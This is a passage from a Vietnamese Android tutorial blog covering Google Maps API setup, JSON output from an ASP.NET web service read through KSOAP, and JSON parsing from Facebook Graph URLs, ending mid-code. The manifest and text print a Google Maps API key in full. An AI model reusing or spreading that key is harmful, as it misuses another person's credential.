Cần cung cấp OpenGL 2.0 cho việc đồ họa bản đồ:


<uses-feature
android:glEsVersion="0x00020000"
android:required="true"/>

Cuối cùng ta có một Manifest tương tự như sau:


<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="tranduythanh.com.learngooglemap"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />

    <uses-feature
        android:glEsVersion="0x00020000"
        android:required="true" />

    <uses-sdk
        android:minSdkVersion="14"
        android:targetSdkVersion="19" />

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <meta-data
            android:name="com.google.android.gms.version"
            android:value="@integer/google_play_services_version" />
        <meta-data
            android:name="com.google.android.maps.v2.API_KEY"
            android:value="AIzaSyAWPt-7pVRw-HUBoy9J8_YtB6qPDpp94lM" />

        <activity
            android:name=".MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest>

Ở trên bạn thấy API_KEY =AIzaSyAWPt-7pVRw-HUBoy9J8_YtB6qPDpp94lM

Chi tiết lấy API_KEY sẽ được hướng dẫn ở bài sau.

2) tương tác các đối tượng GoogleMap:

Tạo các đối tượng để thực hiện tương tác giữa ứng dụng với người dùng bao gồm:

GoogleMap:

  • Kết nối đến Google Map Service.
  • Tải dữ liệu bản đồ theo từng mảng nhỏ (tiles).
  • Thể hiện dữ liệu bản đồ trên màn hình thiết bị.
  • Thể hiện các điều khiển giao tiếp như thu phóng, la bàn…
  • Xử lý các tương tác thu phóng, xoay, góc nhìn…

MapFragment: xây dựng giao diện bản đồ bằng cách xây dựng Fragment.

MapView: xây dựng giao diện bản đồ như một điều khiển và tương tác với Activity.

Truy xuất và sử dụng đối tượng GoogleMap từ thẻ fragment trong XML:


GoogleMap map = ((MapFragment)getFragmentManager().findFragmentById(R.id.map)).getMap();

map.setMapType(GoogleMap.MAP_TYPE_SATELLITE);
map.getUiSettings().setZoomControlsEnabled(true);
map.setMyLocationEnabled(true);

Hoặc:

MapFragment mapFragment = MapFragment.newInstance();
GoogleMap mMap = mapFragment.getMap();
mMap.setMapType(GoogleMap.MAP_TYPE_SATELLITE);
getFragmentManager().beginTransaction().add(R.id.container,mapFragment).commit();</pre>

Các kiểu giao diện hiển thị bản đồ mà Google Map cung cấp:

  • MAP_TYPE_NORMAL
  • MAP_TYPE_HYBRID
  • MAP_TYPE_NONE
  • MAP_TYPE_SATELLITE
  • MAP_TYPE_TERRAIN

Các kiểu này ta có thể dùng coding để thay đổi kiểu hiển thị thông qua hàm : setMapType(int)

Một số hình minh họa cách hiển thị:

android_53_1Ta có thể thiết lập các giá trị ban đầu và điều khiển cho GoogleMap bao gồm:

  • Góc nhìn (Camera)
  • Thu phóng (zoom)
  • Chuyển điểm (location)
  • Xoay (bearing)
  • Góc nghiêng (titl)
  • La bàn và điều khiển thu phóng.
  • Các điều khiển cử chỉ trên bản đồ.

Ta thiết lập các giá trị ban đầu và điều khiển cho GoogleMap trong layout XML:


<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:id="@+id/LinearLayout1"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
android:paddingBottom="@dimen/activity_vertical_margin"
android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
tools:context="tranduythanh.com.learngooglemap.MainActivity" >
<fragment
android:id="@+id/map"
android:layout_width="match_parent"
android:layout_height="match_parent"
class="com.google.android.gms.maps.MapFragment"
/>
</LinearLayout>

Bạn để ý : class=”com.google.android.gms.maps.MapFragment”

Bạn có thể lấy fragment là root.

Ta cũng có thể thiết lập như sau:


<fragment xmlns:android="http://schemas.android.com/apk/res/android"
android:id="@+id/map"
android:layout_width="match_parent"
android:layout_height="match_parent"
class="com.google.android.gms.maps.SupportMapFragment"
>

</fragment>

Bạn để ý :  class=”com.google.android.gms.maps.SupportMapFragment”

Ta có thể thực hiện tùy chỉnh GoogleMap thông qua đối tượng GoogleMapOptions:


MapFragment.newInstance(GoogleMapOptions)

MapView(Context, GoogleMapOptions)

3) Thiết lập Đồ họa trên Google Map:

-Lớp Marker:

Lớp này được xây dựng sẵn cho việc sử dụng định vị tọa độ trên bản đồ, hiển thị  thông tin địa điểm và tương tác với người dùng:

Ví dụ dưới đây Tui lấy Kinh độ và vĩ độ của Trung Tâm Tin Học ĐH Khoa Học tự nhiên (cơ sở 357 Lê Hồng Phong)

LatLng TTTH_KHTN = new LatLng(10.763181, 106.675664);
MarkerOptions option=new MarkerOptions();
option.position(TTTH_KHTN);
option.title("Trung tâm tin học ĐH KHTN").snippet("This is cool");
option.icon(BitmapDescriptorFactory.defaultMarker(BitmapDescriptorFactory.HUE_AZURE));
option.alpha(0.8f);
option.rotation(90);
Marker maker = map.addMarker(option);
maker.showInfoWindow();
map.moveCamera(CameraUpdateFactory.newLatLngZoom(TTTH_KHTN, 15));

Nếu bạn thắc mắc làm sao lấy được kinh độ vĩ độ đúng như vậy thì có thể vào google Maps, tìm đúng địa điểm và nhấn chuột phải vào địa điểm đó/ chọn What is here: android_53_2Ta tùy chỉnh Marker bằng cách các thông số:

  • Position
  • Title
  • Snippet
  • Draggable
  • Visible
  • Anchor
  • Icon

InfoWindow: được thể hiện phía trên đối tượng Marker  thể hiện các thông tin cần thiết về vị trí đang định vị.

Chỉ một đối tượng InfoWindow hiển thị ở một thời điểm và có thể điều khiển thông qua hai phương thức:

showInfoWindow()

hideInfoWindow()

Để tùy chỉnh InfoWindow trong lớp GoogleMap hỗ trợ giao diện InfoWindowAdapter bao gồm 2 phương thức:

getInfoWindow(Marker)

getInfoContents(Marker)

Ta gọi phương thức  setInfoWindowAdapter  để thiết lập InfoWindow cho đối tượng GoogleMap

Hình ví dụ mẫu:

android_53_3Ngoài ra Google Maps API cung cấp các giao diện cho phép bắt lại các sự kiện tương với Marker và InfoWindow:

  • OnMarkerClickListener
  • OnMarkerDragListener
  • OnInfoWindowClickListener

Ta cũng cần chú ý vì load Map có thể mất nhiều thời gian nên cần có ProgressBar để hiển thị cho người sử dụng không phải thắc mắc, thường ta dùng ProgressDialog để hiển thị trong thời gian chờ chương trình hoàn tất load Map. Ta có thể xử lý được việc hoàn tất load Map qua sự kiện sau:


map.setOnMapLoadedCallback(new OnMapLoadedCallback() {

@Override
public void onMapLoaded() {
// TODO Auto-generated method stub
//Xử lý ở đây nầy
Log.i("MAP LOADED", "END");
}
});

Như vậy Tui đã giới thiệu xong Google Maps Android API, các bạn có thể tham khảo thêm tại link https://developers.google.com/maps/documentation/android/

Bài tập kế tiếp Tui sẽ hướng dẫn từng bước tạo 1 Project sử dụng Google Map như thế nào

Các bạn chú ý theo dõi

Chúc các bạn thành công.

Bài 52: Tạo định dạng JSON trong C# asp.net service vs Android


Tiếp tục bài 51, Trong bài này Tui sẽ hướng dẫn cách tạo định dạng JSON trong C# asp.net service, sau đó dùng KSOAP API để kết nối để sử dụng trong Android.

– Cái hay của bài này là Tui viết code cho phép mọi đối tượng có thể tự parser ra định dạng JSON thông qua kỹ thuật viết Extendsion Method.

– Tui sẽ cấu hình IIS local để chạy, bạn có thể demo lên somee.com để test.

– Ở đây Tui giả lập dữ liệu để cho các bạn dễ tiếp cận, Tui có mô hình lớp như sau:

android_51_18Tui sẽ viết coding cho tất cả các đối tượng đều tự có khả năng tạo ra JSON để tăng tốc độ coding cũng như giảm thiểu code.

Bạn new 1 empty asp.net project tên WebApplication_JSON:

android_52_1Lớp Sanpham:


using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;

namespace WebApplication_JSON
{
public class SanPham
{
public string MaSP { get; set; }
public string TenSP { get; set; }
public int SoLuong { get; set; }
public double DonGia { get; set; }
public double ThanhTien { get; set; }
public string Hinh { get; set; }
}
}

Lớp DanhMuc:


using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;

namespace WebApplication_JSON
{
public class DanhMuc
{
public DanhMuc()
{
Sanphams = new List<SanPham>();
}
public List<SanPham> Sanphams { get; set; }
public string MaDM { get; set; }
public string TenDM { get; set; }

}
}

– Bạn cần tạo thêm 1 static class ExtensionMethod (chú ý là đặt tên gì cũng được), mục đích của lớp này là ta cung cấp các phương thức giúp các đối tượng có thể tự gán kết thêm các phương thức:

– Quy tắc như sau:


using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Script.Serialization;

namespace WebApplication_JSON
{
public static class ExtensionMethod
{
public static string ParserJSon(this object data)
{
JavaScriptSerializer sc = new JavaScriptSerializer();
string strJson=sc.Serialize(data);
return strJson;
}
}
}

– lớp bắt buộc là static

– hàm bắt buộc là static

– đối số đầu tiên của hàm là this

==> những kiểu dữ liệu nào đằng sau từ khóa this sẽ tự động có hàm ParserJSon.

Hàm ParserJSon cho phép biến mọi đối tượng thành định dạng JSON, JavaScriptSerializer  có phương thức Serialize giúp ta làm được điều này.

– Tiếp tục tạo .net webservice, Tui giả lập dữ liệu để cho lẹ:


using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Services;

namespace WebApplication_JSON
{
/// <summary>
/// Summary description for WebService1
/// </summary>
[WebService(Namespace = "http://tranduythanh.com/")]
[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
[System.ComponentModel.ToolboxItem(false)]
// To allow this Web Service to be called from script, using ASP.NET AJAX, uncomment the following line.
// [System.Web.Script.Services.ScriptService]
public class WebService1 : System.Web.Services.WebService
{

[WebMethod]
public string HelloWorld()
{
return "Hello World";
}
[WebMethod]
public string get1SanPhamMau()
{
SanPham sp = new SanPham();
sp.MaSP = "sp_1xxx";
sp.TenSP = "DELL Inspiron 14NR";
sp.SoLuong = 100;
sp.DonGia = 150000;
sp.Hinh = "https://duythanhcse.wordpress.com/h1.png";
return sp.ParserJSon();
}
[WebMethod]
public string get1DanhMuc()
{
DanhMuc dm = new DanhMuc();
dm.MaDM = "DM1";
dm.TenDM = "Hàng máy tính";
SanPham sp1 = new SanPham();
sp1.MaSP = "sp_1xxx";
sp1.TenSP = "DELL Inspiron 14NR";
sp1.SoLuong = 100;
sp1.DonGia = 150000;
sp1.Hinh = "https://duythanhcse.wordpress.com/h1.png";
dm.Sanphams.Add(sp1);

SanPham sp2 = new SanPham();
sp2.MaSP = "sp_2yyyy";
sp2.TenSP = "HP Inspiron 113";
sp2.SoLuong = 130;
sp2.DonGia = 140000;
sp2.Hinh = "https://duythanhcse.wordpress.com/h2.png";
dm.Sanphams.Add(sp2);

return dm.ParserJSon();
}
[WebMethod]
public string getListDanhMuc()
{
List<DanhMuc> dsDM = new List<DanhMuc>();
DanhMuc dm1 = new DanhMuc();
dm1.MaDM = "DM1";
dm1.TenDM = "Hàng máy tính";
SanPham sp1 = new SanPham();
sp1.MaSP = "sp_1xxx";
sp1.TenSP = "DELL Inspiron 14NR";
sp1.SoLuong = 100;
sp1.DonGia = 150000;
sp1.Hinh = "https://duythanhcse.wordpress.com/h1.png";
dm1.Sanphams.Add(sp1);

SanPham sp2 = new SanPham();
sp2.MaSP = "sp_2yyyy";
sp2.TenSP = "HP Inspiron 113";
sp2.SoLuong = 130;
sp2.DonGia = 140000;
sp2.Hinh = "https://duythanhcse.wordpress.com/h2.png";
dm1.Sanphams.Add(sp2);
dsDM.Add(dm1);

DanhMuc dm2 = new DanhMuc();
dm2.MaDM = "DM2";
dm2.TenDM = "Hàng Điện tử";
SanPham sp3 = new SanPham();
sp3.MaSP = "sp_3jjjj";
sp3.TenSP = "Bóng đèn Lượng Tử";
sp3.SoLuong = 95;
sp3.DonGia = 13000;
sp3.Hinh = "https://duythanhcse.wordpress.com/h3.png";
dm2.Sanphams.Add(sp3);

SanPham sp4 = new SanPham();
sp4.MaSP = "sp_4aaa";
sp4.TenSP = "HP Inspiron 113";
sp4.SoLuong = 120;
sp4.DonGia = 12000;
sp4.Hinh = "https://duythanhcse.wordpress.com/h4.png";
dm2.Sanphams.Add(sp4);
dsDM.Add(dm2);

return dsDM.ParserJSon();
}
}
}

– Tiến hành cấu hình IIS, chạy lên ta được (nếu không rõ các bạn cần xem lại các bài trước Tui trình bày rất kỹ về .net webservice):

android_52_2- Test thử get1SanPhamMau:

android_52_3- Test thử get1DanhMuc:

android_52_4- Test thử getListDanhMuc:

android_52_5

– Source code: Tải source code ở đây nầy

– Tiếp theo ta cần dùng KSOAP API kết nối tới asp.net webservice để đọc ra chuỗi JSON ở trên, sau đó parser ra JSONObject để sử dụng (hoặc bạn làm cách nào cũng được, miễn là Android thấy được chuỗi kết quả với định dạng JSon như trên):

– Tui sẽ trình bày cách đọc dữ liệu trong getListDanhMuc vì nó phức tạp nhất, các dịch vụ khác các bạn tự nghiên cứu.

Bạn quan sát dữ liệu trả về trong hàm getListDanhMuc được để trong cặp ngoặc vuông –> Đó chính là mảng đối tượng JSONArray, ứng với mỗi phần tử trong JSONArray là JSONObject (Là từng danh mục) bạn quan sát nó có Sanphams[…] nó lại chứa tập các phần tử là sản phẩm…

Bạn tạo Project như sau:

android_52_6Kết quả khi chạy ứng dụng:

android_52_7Màn hình chính là 1 ListView hiển thị theo dạng custom layout, mỗi dòng sẽ có Danh mục màu đỏ và Spinner chứa sản phẩm tương ứng với Danh mục đó.

Nhớ cấp quyền Internet.

– Giao diện chính (activity_main):


<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:id="@+id/LinearLayout1"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
android:paddingBottom="@dimen/activity_vertical_margin"
android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
tools:context="tranduythanh.com.learnjsonnetservice.MainActivity" >

<ListView
android:id="@+id/lvDanhMuc"
android:layout_width="match_parent"
android:layout_height="wrap_content" >
</ListView>

</LinearLayout>

– Customlayout  (custom_list_product.xml):


<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical" >

<TextView
android:id="@+id/txtDanhMuc"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:hint="Danh mục ở đây" />

<Spinner
android:id="@+id/spinner_sanpham"
android:layout_width="match_parent"
android:layout_height="wrap_content" />

</LinearLayout>

– Xử lý coding :


package tranduythanh.com.learnjsonnetservice;

import java.util.ArrayList;
import java.util.List;

import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;

import android.app.Activity;
import android.graphics.Color;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ArrayAdapter;
import android.widget.Spinner;
import android.widget.TextView;

public class MyAdapter extends ArrayAdapter<JSONObject>
{
private Activity context;
private int resource;
private List<JSONObject>objects;
public MyAdapter(Activity context, int resource,
List<JSONObject> objects) {
super(context, resource, objects);
this.context=context;
this.resource=resource;
this.objects=objects;
}
@Override
public View getView(int position, View convertView, ViewGroup parent) {
LayoutInflater inflater= this.context.getLayoutInflater();
View custom_row= inflater.inflate(this.resource, null);
TextView txtDM=(TextView) custom_row.findViewById(R.id.txtDanhMuc);
Spinner spinner_sp=(Spinner) custom_row.findViewById(R.id.spinner_sanpham);
//Đối tượng này là DanhMujc
JSONObject jsonObj=this.objects.get(position);
try {
//Lấy thuộc tính của Danh mục
String dm=jsonObj.getString("MaDM")+" - "+jsonObj.getString("TenDM");
txtDM.setText(dm);
txtDM.setTextColor(Color.RED);
//Lấy Danh sách sản phẩm:
JSONArray arrJson=jsonObj.getJSONArray("Sanphams");
ArrayList<String>arrSanpham=new ArrayList<>();
for(int i=0;i<arrJson.length();i++)
{
//lấy từng sản phẩm theo danh mục:
JSONObject jsonSanpham=arrJson.getJSONObject(i);
String sp=jsonSanpham.getString("TenSP");
arrSanpham.add(sp);
}
ArrayAdapter<String>adapter=new ArrayAdapter<>
(this.context, android.R.layout.simple_spinner_item,
arrSanpham);
adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
spinner_sp.setAdapter(adapter);
} catch (JSONException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return custom_row;
}

}

– Coding MainActivity:


package tranduythanh.com.learnjsonnetservice;

import java.util.ArrayList;
import java.util.List;

import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import org.ksoap2.SoapEnvelope;
import org.ksoap2.serialization.SoapObject;
import org.ksoap2.serialization.SoapPrimitive;
import org.ksoap2.serialization.SoapSerializationEnvelope;
import org.ksoap2.transport.HttpTransportSE;

import android.app.Activity;
import android.os.AsyncTask;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import android.widget.ListView;
import android.widget.Toast;

public class MainActivity extends Activity {
public final static String URL="http://192.168.0.147/testjson/WebService1.asmx?WSDL";
public final static String NAMESPACE="http://tranduythanh.com/";
ListView lvDanhMuc;
ArrayList<JSONObject>arrData;
MyAdapter adapter;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
addControlAndEvents();
}
private void addControlAndEvents() {
lvDanhMuc=(ListView) findViewById(R.id.lvDanhMuc);
arrData=new ArrayList<>();
adapter=new MyAdapter(this,
R.layout.custom_list_product, arrData);
lvDanhMuc.setAdapter(adapter);

JSonAsyncTask task=new JSonAsyncTask();
task.execute();
}

public class JSonAsyncTask extends AsyncTask<Void, Void, ArrayList<JSONObject> >
{
@Override
protected void onPreExecute() {
// TODO Auto-generated method stub
super.onPreExecute();
}
@Override
protected ArrayList<JSONObject> doInBackground(Void... params) {
ArrayList<JSONObject> listJSon=new ArrayList<>();
final String METHOD="getListDanhMuc";
final String SOAPACTION=NAMESPACE+METHOD;
SoapSerializationEnvelope envelope=new
SoapSerializationEnvelope(SoapEnvelope.VER11);
envelope.dotNet=true;
SoapObject request=new SoapObject(NAMESPACE, METHOD);
envelope.setOutputSoapObject(request);
HttpTransportSE transport=new HttpTransportSE(URL);
try {
transport.call(SOAPACTION, envelope);
SoapPrimitive data= (SoapPrimitive)
envelope.getResponse();
//Chuỗi định dạng ban đầu
String jsonText=data.toString();
//Chuỗi định dạng này có kiểu JSONArray:
//nó trả về tập Danh mục
JSONArray arr=new JSONArray(jsonText);
for(int i=0;i<arr.length();i++)
{
//Lấy 1 Đối tượng danh mục ra (JSONObject):
JSONObject jsonObj=arr.getJSONObject(i);
listJSon.add(jsonObj);
}

} catch(Exception e) {
Toast.makeText(getApplicationContext(), e.toString(),
Toast.LENGTH_LONG).show();
}
return listJSon;
}
@Override
protected void onPostExecute(ArrayList<JSONObject> result) {
super.onPostExecute(result);
arrData.clear();
arrData.addAll(result);
adapter.notifyDataSetChanged();
}
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}

@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();
if (id == R.id.action_settings) {
return true;
}
return super.onOptionsItemSelected(item);
}
}

– Các bạn có gắng đọc hiểu coding ở trên (thực ra nó tương tự như bài 50, không có gì khó).

– Bạn nghĩ cách để tương tác nhanh gọn hơn thay vì thông qua nhiều bước như vậy, nhưng chú ý luôn phải dùng đa tiến trình.

Các bạn có thể tải Source code mẫu ở đây

Chúc các bạn thành công!

Bài 51: Xử lý JSON trong Android


Trong bài này Tui sẽ hướng dẫn các bạn cách tương tác JSON trong Android, ở đây Tui sẽ hướng dẫn 2 cách tiếp cận:

1) Sử dụng sẵn Web Service của ai đó được viết dưới định dạng JSON

2) Tự xây dựng JSON bằng .net web service (Các bạn cần biết cách tạo cũng như cách sử dụng), bạn có thể dùng bất kỳ cái gì đó để viết ra JSON cũng được, không nhất thiết phải dùng .net web service. Ở đây Tui muốn đứng trên vai người khổng lồ Microsoft để giúp các bạn tiếp cận một cách dễ dàng hơn.

Tui chụp một số hình liên quan tới định dạng JSON để các bạn dễ mường tượng, sau đó Tui sẽ giải thích kỹ về các đối tượng cũng như cách sử dụng chúng:

Đây là hình JSON facebook của Tui do Facebook Graph API tạo ra:

android_51_1Hay facebook định dạng JSON của ngài Tổng Thống Mỹ BaracObama:

android_51_2Hay định dạng JSON tỉ giá hối đoái của Ngân Hàng Đông Á:

android_51_4Hay định dạng JSON của Hoa Hậu Kỳ Duyên:

android_51_3Bạn quan sát nó có những định dạng rất giống nhau theo 1 chuẩn nào đó, có ngoặc nhọn, ngoặc vuông, dấu 2 chấm, dấu chấm phẩy …. đó chính những chuẩn viết cho dạng JSON, sau đây Tui đi vào chi tiết lý thuyết của chúng:

Khái niệm Định Dạng JSON:

JSON (JavaScript Object Notation) được định nghĩa dữ theo ngôn ngữ JavaScript, tiêu chuẩn ECMA-262 năm 1999, cấu trúc là  một định dạng  văn bản  đơn giản với các trường dữ liệu được lồng vào nhau. JSON được sử dụng để trao đổi dữ liệu giữa các thành phần của một hệ thống  tương thích với hầu hết các ngôn ngữ C, C++, C#, Java, JavaScript, Perl, Python…

JSON được xây dựng dựa trên hai cấu trúc chính:

  • Tập hợp cặp giá trị name/value, trong nhiều ngôn ngữ khác nhau cặp giá trị này có thể là object, record, struct, dictionary,  hash table, keyed list…
  • Tập hợp danh sách các giá trị, có thể là array, vector, list hay sequence.

Và tuỳ thuộc vào dữ liệu cần trao đổi, JSON có thể có nhiều dạng khác nhau, tuy nhiên có thể tống hợp ở những hai dạng chính sau:

  • Một đối tượng Object chứa  các cặp giá trị string/value không cần thứ tự, được bao trong cặp “{}”, các giá trị bên trong được định dạng “string:value” và chia cách nhau bởi dấu “,”.  Value ở đây có thể là chuỗi, số, true- false, null…Có thể xem mô tả cùng ví dụ sau:

android_51_5Ví dụ:

{
   "id": "100005823642721",
   "first_name": "Duy Thanh",
   "gender": "male",
   "last_name": "Trần",
   "link": "https://www.facebook.com/duythanhcse",
   "locale": "en_US",
   "birthday": "20/12/1961",
  "name": "Duy Thanh Trần", 
   "username": "duythanhcse" 
}
  • Một đối tượng mảng có bao gồm nhều phần tử con có thứ tự. Các phần từ con được bao trong cặp “[]” và chia cách nhau bởi dấu “,”. Mỗi phần tử con có thể là một giá trị đơn lẻ như: số, chuỗi, true-false, null hoặc một object khác, thậm chí có thể là một mảng.

android_51_6Ví dụ:

{
"Sanphams":
[
{"MaSP":"sp_1xxx","TenSP":"DELL Inspiron 14NR","SoLuong":100,
"DonGia":150000,"ThanhTien":0,
"Hinh":"https://duythanhcse.wordpress.com/h1.png"
},
{"MaSP":"sp_2yyyy","TenSP":"HP Inspiron 113","SoLuong":130,
"DonGia":140000,"ThanhTien":0,
"Hinh":"https://duythanhcse.wordpress.com/h2.png"
}
],
"MaDM":"DM1",
"TenDM":"Hàng máy tính"
}

Việc đọc và ghi định dạng JSON được tích hợp sẵn trong Android SDK (nó nằm trong thư viện org.json) hoặc bạn có thể sử dụng thư viện độc lập ở trên mạng Link đây nầy để viết cho java thuần túy cũng được (Tui đã test thử và chạy OK)

  • JSONObject: đối tượng quản lý JSON ở dạng một Object.
  • JSONArray: đối  tượng quản lý JSON ở dạng tập hợn các Object hoặc
    Array.
  • JSONStringer: đối tượng chuyển dữ liệu JSON thành dạng chuỗi.
  • JSONTokener: chuyển đổi đối tượng JSON (chuẩn RFC-4627) mã hoá chuỗi một thành đối tượng tương ứng.

Để cho dễ hiểu thì Tui sẽ hướng dẫn các bạn đọc thông tin từ service với định dạng JSON: http://graph.facebook.com/duythanhcse, Bạn quan sát trong JSON này thì chỉ có 1 đối tượng duy nhất (được đóng khung trong cặp ngoặc nhọn), với các thuộc tính : id, first_name, username…. bên trái dấu 2 chấm là thuộc tính và bên phải dấu 2 chấm là giá trị của thuộc tính. Bạn cần chú ý là phải dùng Đa Tiến Trình để tương tác dữ liệu trên Internet, dữ liệu được xử lý trong tiểu trình (lý do Tui đã giải thích ở các bài trước).

Giả sử Bạn cần phải đọc thông tin JSON và hiển thị lên giao diện như sau:

android_51_7Sau đó thử Facebook của Ngài Tổng Thống Barac Obama:

android_51_8Và cuối cùng là của Hoa Hậu Cao Kỳ Duyên:

android_51_9Bấm vào nút Xem hình để tự động đọc link hình của Hoa Hậu trong Facebook (mở 1 Activity mới và dùng 1 tiểu trình khác để đọc):

android_51_10- Để làm được như trên thì bạn tiến hành thực hiện theo các bước sau:

 Bước 1:

Tạo một Project tên là LearnJSON:

android_51_11Tiến hành cấp quyền sử dụng Internet cho ứng dụng trong AndroidManifest.xml:


<uses-permission android:name="android.permission.INTERNET" />

Tiến hành thiết kế giao diện chính như sau (activity_main.xml):


<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:id="@+id/LinearLayout1"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
android:paddingBottom="@dimen/activity_vertical_margin"
android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
tools:context="tranduythanh.com.MainActivity" >

<TextView
android:id="@+id/textView1"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="id:" />

<TextView
android:id="@+id/txtId"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:hint="Id ở đây"
android:textColor="#FF0000" />

<TextView
android:id="@+id/textView3"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="first_name:" />

<TextView
android:id="@+id/txtFirstName"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:hint="First Name ở đây"
android:textColor="#FF0000" />

<TextView
android:id="@+id/textView5"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="gender:" />

<TextView
android:id="@+id/txtGender"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:hint="Gender ở đây"
android:textColor="#FF0000" />

<TextView
android:id="@+id/textView7"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="last_name:" />

<TextView
android:id="@+id/txtLastName"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:hint="Last Name ở đây"
android:textColor="#FF0000" />

<TextView
android:id="@+id/textView9"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="link:" />

<TextView
android:id="@+id/txtLink"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:hint="link ở đây"
android:textColor="#FF0000" />

<TextView
android:id="@+id/textView11"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="locale:" />

<TextView
android:id="@+id/txtLocale"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:hint="locale ở đây"
android:textColor="#FF0000" />

<TextView
android:id="@+id/textView13"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="name:" />

<TextView
android:id="@+id/txtName"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:hint="name ở đây"
android:textColor="#FF0000" />

<TextView
android:id="@+id/textView15"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="username:" />

<TextView
android:id="@+id/txtUserName"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:hint="username ở đây"
android:textColor="#FF0000" />

<Button
android:id="@+id/btnShowImage"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Xem hình" />

</LinearLayout>

Giao diện của nó sẽ như sau:

android_51_13- Bước 2 - Tạo lớp MyJsonReader để đọc định dạng JSON:


package tranduythanh.com;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import java.net.URL;
import java.nio.charset.Charset;

import org.json.JSONException;
import org.json.JSONObject;

public class MyJsonReader {
public static String readAll(Reader rd) throws IOException {
StringBuilder sb = new StringBuilder();
int cp;
while ((cp = rd.read()) != -1) {
sb.append((char) cp);
}
return sb.toString();
}
/**
* Hàm trả về JSONObject
* @param url - Truyền link URL có định dạng JSON
* @return - Trả về JSONOBject
* @throws IOException
* @throws JSONException
*/
public static JSONObject readJsonFromUrl(String url) throws IOException, JSONException {
InputStream is = new URL(url).openStream();
try {
//đọc nội dung với Unicode:
BufferedReader rd = new BufferedReader
(new InputStreamReader(is, Charset.forName("UTF-8")));
String jsonText = readAll(rd);
JSONObject json = new JSONObject(jsonText);
return json;
} finally {
is.close();
}
}
}

- Bước 3- Xử lý MainActivity:


package tranduythanh.com;

import java.io.IOException;

import org.json.JSONException;
import org.json.JSONObject;

import android.app.Activity;
import android.content.Intent;
import android.os.AsyncTask;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.TextView;
import android.widget.Toast;

public class MainActivity extends Activity {

TextView txtId;
TextView txtFirstName;
TextView txtLastName;
TextView txtGender;
TextView txtName;
TextView txtLocale;
TextView txtLink;
TextView txtUserName;

Button btnShowImage;
public TextView findTextView(int id)
{
return (TextView) findViewById(id);
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

addControlAndEvents();
}
private void addControlAndEvents() {
